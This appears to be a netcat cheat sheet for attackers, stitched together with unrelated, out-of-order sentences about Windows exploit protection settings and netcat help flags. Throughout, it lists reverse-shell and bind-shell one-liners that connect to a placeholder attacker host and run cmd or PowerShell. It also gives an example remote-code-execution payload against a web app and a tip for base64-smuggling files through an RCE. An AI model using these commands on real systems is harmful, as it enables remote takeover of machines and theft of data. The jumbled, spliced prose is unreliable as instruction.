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Sender (Unix) nc $TARGET $PORT $FILE #64bit nc64. Of course in the wild, we would url encode it: Bind Powershell #32bit nc.exe -l -p $LISTENPORT -e powershell #64bit nc64.exe -l -p $LISTENPORT -e powershell Reverse Shell #32bit nc.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd #64bit nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd Bind Shell #32bit nc.exe -l -p $LISTENPORT -e cmd #64bit nc64.exe -l -p $LISTENPORT -e cmd Transfer File

Let’s try to dig deeper and explore what we can more do with this great tool. Click on the Choose exact file path and then select the vulnserver.exe that you downloaded. Go into the Program Settings tab and hit the Add program to customise button. This will prompt a control panel item for managing exploit protection. Help or sometimes its h, this flag drops out every possible option that a tool can do for us. In Windows 10 you can open the windows panel and search for Exploit protection. To start with netcat, we’ll be using the most basic help command i.e.

Reverse Powershell #32bit nc.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell #64bit nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e powershellĮxample RCE on web app: 10.10.10.10 1337 -e powershell Netcat can be used as a port scanner, although it was not designed to function as. If you try and copy a file as-is in many situations the troublesome contents like language operators or null bytes etc will break the connection, application or worse, crash the target host. A good tip that often comes in handy is to base64 encode a file, then simply copy the base64 blob to a file via a vuln or RCE and either decode first or after depending on your RCE situation.